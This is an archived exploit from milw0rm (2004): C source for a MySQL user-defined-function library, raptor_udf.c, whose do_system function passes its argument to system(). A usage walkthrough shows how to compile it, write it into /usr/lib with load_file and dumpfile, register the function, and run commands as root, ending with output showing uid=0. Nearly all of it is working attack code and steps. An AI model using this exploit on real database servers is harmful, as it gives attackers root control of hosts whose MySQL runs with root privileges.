MySQL 4.0.17 (Linux) - User-Defined Function (UDF) Dynamic Library (1)

/*
 * $Id: raptor_udf.c,v 1.1 2004/12/04 14:44:39 raptor Exp $
 *
 * raptor_udf.c - dynamic library for do_system() MySQL UDF
 * Copyright (c) 2004 Marco Ivaldi <[email protected]>
 *
 * This is an helper dynamic library for local privilege escalation through 
 * MySQL run with root privileges (very bad idea!). Tested on MySQL 4.0.17.
 *
 * Code ripped from: http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
 *
 * "MySQL provides a mechanism by which the default set of functions can be 
 * expanded by means of custom written dynamic libraries containing User 
 * Defined Functions, or UDFs". -- Hackproofing MySQL
 *
 * Usage:
 * $ id
 * uid=500(raptor) gid=500(raptor) groups=500(raptor)
 * $ gcc -g -c raptor_udf.c
 * $ gcc -g -shared -W1,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc
 * $ mysql -u root -p
 * Enter password:
 * [...]
 * mysql> use mysql;
 * mysql> create table foo(line blob);
 * mysql> insert into foo values(load_file('/home/raptor/raptor_udf.so'));
 * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf.so';
 * mysql> create function do_system returns integer soname 'raptor_udf.so';
 * mysql> select * from mysql.func;
 * +-----------+-----+---------------+----------+
 * | name      | ret | dl            | type     |
 * +-----------+-----+---------------+----------+
 * | do_system |   2 | raptor_udf.so | function |
 * +-----------+-----+---------------+----------+
 * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
 * mysql> \! sh
 * sh-2.05b$ cat /tmp/out
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
 * [...]
 */

#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
	unsigned int		arg_count;	// number of arguments
	enum Item_result	*arg_type;	// pointer to item_result
	char 			**args;		// pointer to arguments
	unsigned long		*lengths;	// length of string args
	char			*maybe_null;	// 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
	char			maybe_null;	// 1 if func can return NULL
	unsigned int		decimals;	// for real functions
	unsigned long 		max_length;	// for string functions
	char			*ptr;		// free ptr for func data
	char			const_item;	// 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
	if (args->arg_count != 1)
		return(0);

	system(args->args[0]);

	return(0);
}

// milw0rm.com [2004-12-24]